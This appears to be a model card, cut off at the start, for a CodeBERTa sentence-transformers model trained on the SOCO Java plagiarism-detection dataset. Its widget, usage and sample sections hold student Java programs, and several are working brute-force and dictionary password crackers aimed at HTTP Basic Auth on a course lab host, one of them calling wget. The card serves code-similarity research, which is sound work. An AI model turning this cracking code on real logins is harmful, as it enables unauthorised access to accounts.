main(String[]\ + \ args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t\ + \ System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\ + \t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\ + \t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]);\ + \ \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result);\ + \ \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String\ + \ username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for\ + \ ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\ + \t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\t\ + for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\ + \t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\ + \t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\ + \t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\ + \ ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\ + \t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\ + \\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\ + \t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString\ + \ userPassword=username+\":\"+password; \n\n \n\t\t String encoding =\ + \ new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection\ + \ conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\"\ + , \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\ + \t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200\ + \ OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\ + \t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"\ + The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time\ + \ Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t\ + }\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\ + \t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\ + \t\t \n\n\n\n \n \n\t } \n \n \n\t\ + } \n return \"Password could not found\"; \n\n }\n\n\n}" + - "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce\ + \ {\n\n URLConnection conn = null;\n private static boolean status = false;\n\ + \n public static void main (String args[]){\n BruteForce a = new BruteForce();\n\ + \ String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \ + \ \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n\ + \ for (int i=0;i= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n\ + \ }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length)\ + \ {\n b3 = 0;\n pad = 1;\n }\n else\n\ + \ b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n\ + \ byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2\ + \ & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString\ + \ += base64Array [c1];\n encodedString += base64Array [c2];\n switch\ + \ (pad) {\n case 0:\n encodedString += base64Array [c3];\n \ + \ encodedString += base64Array [c4];\n break;\n case 1:\n\ + \ encodedString += base64Array [c3];\n encodedString += \"=\"\ + ;\n break;\n case 2:\n encodedString += \"==\";\n \ + \ break;\n }\n }\n return encodedString;\n }\n }\n\n" + - "\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n\ + {\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\ + \t\tpw = getPassword ();\n\t\tSystem.out.println(\"Password is: \"+pw);\n\t}\n\ + \tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\ + \t\tpassWord = \"AAA\";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess\ + \ pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader\ + \ in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(\"\ + \ attacking.....\");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n\ + \ for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n\ + \ for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\ + \t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = \"wget --http-user=\ + \ --http-passwd=\"+passWord +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\ + \ \";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\ + \t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\ + \t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\ + \t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\ + \t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\ + \tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found\ + \ == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t\ + }\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\ + \t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\ + \t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\ + \t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn \"not\ + \ found\";\n\t}\n}" +datasets: +- buelfhood/SOCO_TRAIN_java +pipeline_tag: sentence-similarity +library_name: sentence-transformers +--- + +# SentenceTransformer based on huggingface/CodeBERTa-small-v1 + +This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. + +## Model Details + +### Model Description +- **Model Type:** Sentence Transformer +- **Base model:** [huggingface/CodeBERTa-small-v1](https://huggingface.co/huggingface/CodeBERTa-small-v1) +- **Maximum Sequence Length:** 512 tokens +- **Output Dimensionality:** 768 dimensions +- **Similarity Function:** Cosine Similarity +- **Training Dataset:** + - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) + + + +### Model Sources + +- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) +- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) +- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) + +### Full Model Architecture + +``` +SentenceTransformer( + (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'}) + (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) +) +``` + +## Usage + +### Direct Usage (Sentence Transformers) + +First install the Sentence Transformers library: + +```bash +pip install -U sentence-transformers +``` + +Then you can load this model and run inference. +```python +from sentence_transformers import SentenceTransformer + +# Download from the 🤗 Hub +model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs256-lr5e-05-split0.2") +# Run inference +sentences = [ + '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n', + 'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n int attempts = 0;\n exit:\n for (int i=0;i= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n', + '\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}', +] +embeddings = model.encode(sentences) +print(embeddings.shape) +# [3, 768] + +# Get the similarity scores for the embeddings +similarities = model.similarity(embeddings, embeddings) +print(similarities) +# tensor([[1.0000, 0.9549, 0.5951], +# [0.9549, 1.0000, 0.5695], +# [0.5951, 0.5695, 1.0000]]) +``` + + + + + + + + + + + +## Training Details + +### Training Dataset + +#### soco_train_java + +* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) +* Size: 34,368 training samples +* Columns: anchor_code, positive_code, and negative_code +* Approximate statistics based on the first 1000 samples: + | | anchor_code | positive_code | negative_code | + |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| + | type | string | string | string | + | details |
  • min: 51 tokens
  • mean: 465.94 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 466.25 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 458.71 tokens
  • max: 512 tokens
| +* Samples: + | anchor_code | positive_code | negative_code | + |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + | import java.util.*;
import java.io.*;



public class WatchDog {

public WatchDog() {

}
public static void main(String args[]) {
DataInputStream newin;

try{


System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() != null){
System.out.println("Sending Mail");
...
| import java.util.*;
import java.io.*;
import javax.swing.text.html.*;


public class WatchDog {

public WatchDog() {

}
public static void main (String args[]) {
DataInputStream newin;

try{
System.out.println("ishti");

System.out.println("Downloading first copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");
String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};
String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println("Downloading new copy");
Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( "Diff.txt"));
if (newin.readLine() ...
|

import java.net.*;
import java.io.*;
import java.util.*;

public class BruteForce{

private static URL location;
private static String user;
private BufferedReader input;
private char [] password = {'A', 'A', 'A'};
private int noLetters = 3;



public BruteForce() {

Authenticator.setDefault(new MyAuthenticator ());

startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{


}
catch (ConnectException e) {
System.out.println("Failed connect");
}
catch (IOException e)...
| + | import java.util.*;
import java.net.*;
import java.io.*;

public class BruteForce
{
boolean connected = false;
int counter;
String[] chars = {"a","b","c","d","e","f","g","h",
"i","j","k","l","m","n","o","p",
"q","r","s","t","u","v","w","x",
"y","z","A","B","C","D","E","F",
"G","H","I","J","K","L","M","N",
"O","P","Q","R","S","T","U","V",
"W","X","Y","Z"};
Vector combinations = new Vector();

BruteForce()
{
counter = 0;
this.genCombinations();
this.startAttack();
}

public void startAttack()
{
while(counter {
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)combinations.elementAt(counter-1));
counter = combinations.size(...
| import java.util.*;
import java.net.*;
import java.io.*;

public class Dictionary
{
boolean connected = false;
int counter;

Vector words = new Vector();

Dictionary()
{
counter = 0;
this.readWords();
this.startAttack();
}

public void startAttack()
{
while(counter {
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)words.elementAt(counter-1));
counter = words.size();
}
}
}


public void readWords()
{
String line;

try
{
BufferedReader buffer = new BufferedReader(
new FileReader("/usr/share/lib/dict/words"));

line = buffer.readLine();

while(line != null)
{

if(line.length() <= 3)
...
| import java.net.*;
import java.io.*;

public class BruteForce
{
public BruteForce(String u,String uname) throws Exception
{
String pass="";
try
{
String []chr={"a","b","c","d","e","f","g","h","i","j",
"k","l","m","n","o","p","q","r","s","t",
"u","v","w","x","y","z","A","B","C","D",
"E","F","G","H","I","J","K","L","M","N",
"O","P","Q","R","S","T","U","V","W","X","Y","Z"};
URL url=new URL(u);
PasswordAuthentication pa;
MyAuthenticator =new MyAuthenticator();
HttpURLConnection h;
int c=0;
for(int i=1;i<=52;i++)
{
c++;
pass=""+chr[i-1];
pa=new PasswordAuthentication(uname,pass.toCharArray());
h.setPasswordAuthentication(pa);
Authenticator.setDefault();
h=(HttpURLConnection)url.openConnection();
h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));
System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");
if(h.getResponseCode() != 401)
throw...
| + | import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;


public class ReadFile
{
private StringTokenizer tokenizer;
private BufferedReader bf;
private String line;
private String first;
Vector in = new Vector();

public void loadFile()throws NoSuchElementException, IOException
{
System.out.println("in loadFile");
try{
bf = new BufferedReader(new FileReader("words"));
}
catch(FileNotFoundException fe){}
catch(IOException io){}
while((line = bf.readLine())!=null)
{

int index = 0;
tokenizer = new StringTokenizer(line);
try
{
first = tokenizer.nextToken();


if (first.length() == 3)
{
in.add(first);
}
}
catch(NoSuchElementException n)
{
System.out.println("File Loaded Succesfully");

}

}
}
public Vector getVector()
{
return in;
...
| import java.net.*;
import java.io.*;
import java.*;
import java.Runtime.*;
import java.Object.*;
import java.util.*;
import java.util.StringTokenizer;

public class makePasswords
{
public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
"n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};

public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};

public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",
"J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",
"Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ...
| package java.httputils;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.OutputStream;


public class WatchDog
{
protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
protected int interval = 24;
protected String URL = "http://www.cs.rmit.edu./students/";
protected String fileName = "WatchDogContent.html";
protected String command = "./alert_mail.sh";
protected String savedContent;
protected String retrievedContent;


public WatchDog()
{
super();
}


public void run() throws Exception
{
HttpRequestClient client = null;


System.out.println(getClass().getName() +
"Retrieving baseline copy of: " + getURL());
client = new HttpRequestClie...
| +* Loss: [CachedMultipleNegativesRankingLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters: + ```json + { + "scale": 20.0, + "similarity_fct": "cos_sim", + "mini_batch_size": 32, + "gather_across_devices": false + } + ``` + +### Evaluation Dataset + +#### soco_train_java + +* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) +* Size: 8,592 evaluation samples +* Columns: anchor_code, positive_code, and negative_code +* Approximate statistics based on the first 1000 samples: + | | anchor_code | positive_code | negative_code | + |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| + | type | string | string | string | + | details |
  • min: 51 tokens
  • mean: 465.22 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 464.66 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 458.05 tokens
  • max: 512 tokens
| +* Samples: + | anchor_code | positive_code | negative_code | + |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| + |





import java.util.*;
import java.io.*;

public class WatchDog
{

public static void main(String args[])
{

Runtime rt1 = Runtime.getRuntime();
Process prss1= null;

try
{
prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");
}catch(java.io.IOException e){}

MyWatchDogTimer w = new MyWatchDogTimer();
Timer time = new Timer();
time.schedule(w,864000000,864000000);


}
}
|




import java.util.*;
import java.io.*;

public class MyTimer
{

public static void main(String args[])
{
Watchdog watch = new Watchdog();
Timer time = new Timer();
time.schedule(watch,864000000,864000000);


}
}
| import java.net.*;
import java.io.*;
import java.util.Vector;
import java.util.Date;
import java.security.*;












public class Dictionary {
public static BufferedReader in;


public static void main(String[] args) throws Exception {
String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
int count=0;
Date date = new Date();
startTime=date.getTime();
int LIMITINMINUTES=45;
int TIMELIMIT=LIMITINMINUTES*1000*60;
boolean timedOut=false;
boolean found=false;


Vector dictionary=new Vector(readWords());
System.out.println("Words in dictionary: "+dictionary.size());







while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {

Date endDate = new Date();
endTime=endDate.getTime();
if (endTime>(TIMELIMIT+startTime)){
System.out.println("Timed out");
timedOut=true;
}

String password = "";

...
| + |


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;






public class MailsendPropertyHelper {

private static Properties testProps;

public MailsendPropertyHelper() {
}




public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the watchddog Props");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}


private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();

InputStream fis =
MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");
testProps.load(fis);
}
}
}





|



import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;




public class BruteForcePropertyHelper {

private static Properties bruteForceProps;



public BruteForcePropertyHelper() {
}




public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the burteforce Props");
e.printStackTrace();
}
return bruteForceProps.getProperty(pKey);
}


private static void initProps() throws Exception{
if(bruteForceProps == null){
bruteForceProps = new Properties();

InputStream fis =
BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");
bruteForceProps.load(fis);
}
}
}

|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;

public class MyClient2 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private BruteForce myMaster;


public MyClient2(BruteForce bf , int num, int myPort, String password)
{

hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;

}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
...
| + | import java.io.*;
import java.net.*;
import java.util.*;


public class Dictionary
{
public static void main (String args[])
{


Calendar cal = Calendar.getInstance();
Date now=cal.getTime();
double startTime = now.getTime();

String password=getPassword(startTime);
System.out.println("The password is " + password);
}

public static String getPassword(double startTime)
{
String password="";
int requests=0;

try
{

FileReader fRead = new FileReader("/usr/share/lib/dict/words");
BufferedReader buf = new BufferedReader(fRead);

password=buf.readLine();

while (password != null)
{

if (password.length()<=3)
{
requests++;
if (testPassword(password, startTime, requests))
return password;
}

password = buf.readLine();

}
}
catch (IOException ioe)
{

}

return password;
}

private static boolean testPassword(String password, double startTime, int requests)
{
try
{


U...
